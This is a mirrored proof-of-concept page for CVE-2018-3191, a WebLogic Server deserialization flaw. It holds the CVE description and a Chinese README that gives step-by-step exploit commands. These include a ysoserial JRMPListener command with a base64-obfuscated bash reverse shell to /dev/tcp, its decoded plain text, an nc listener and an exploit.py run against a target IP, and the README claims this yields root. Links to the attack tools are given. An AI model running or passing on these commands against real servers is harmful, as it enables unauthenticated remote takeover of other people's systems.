CVE-2018-3191 PoC — Oracle Fusion Middleware WebLogic Server组件安全漏洞

Source

https://github.com/Libraggbond/CVE-2018-3191

Associated Vulnerability

Title:Oracle Fusion Middleware WebLogic Server组件安全漏洞 (CVE-2018-3191)
Description:Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: WLS Core Components). Supported versions that are affected are 10.3.6.0, 12.1.3.0 and 12.2.1.3. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3 to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.0 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Description

CVE-2018-3191 反弹shell

Readme

# CVE-2018-3191
CVE-2018-3191 反弹shell
本地ip：172.16.38.1
Weblogic：172.16.38.174:7001
1、	本地执行
java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}'
 
然后执行 nc -lvv 7777
 
（1）	其中的 bash 命令为避免Runtime.getRuntime().exec() 执行过程中将特殊符号转义，进行了base64转码解码的操作，明文为 bash -i >& /dev/tcp/172.16.38.1/7777 0>&1
（2）	此操作在本地监听一个JRMPListener，接收被攻击的weblogic 的请求，并执行指定的bash 反弹命令。
（3）	Nc 监听7777等待weblogic 主机反弹bash连接。
2、	执行
python exploit.py 172.16.38.247 7001 weblogic-spring-jndi-10.3.6.0.jar 172.16.38.1 2222，利用漏洞使weblogic 访问远程rmi服务，并执行bash反弹命令。
 

3、	nc监听的端口收到反弹的bash，root权限。
 
攻击所需工具：
ysoserial-master.jar //反序列化利用工具https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
weblogic-spring-jndi-10.3.6.0.jar // CVE-2018-3191 payload生成工具
https://github.com/voidfyoo/CVE-2018-3191/releases
exploit.py //weblogic t3协议发送工具，集成CVE-2018-3191 payload

File Snapshot


 [4.0K]  /data/pocs/736afeb800233e4068ee53b325302366bb7e5b95
├── [8.0K]  exploit.py
└── [1.3K]  README.md

0 directories, 2 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!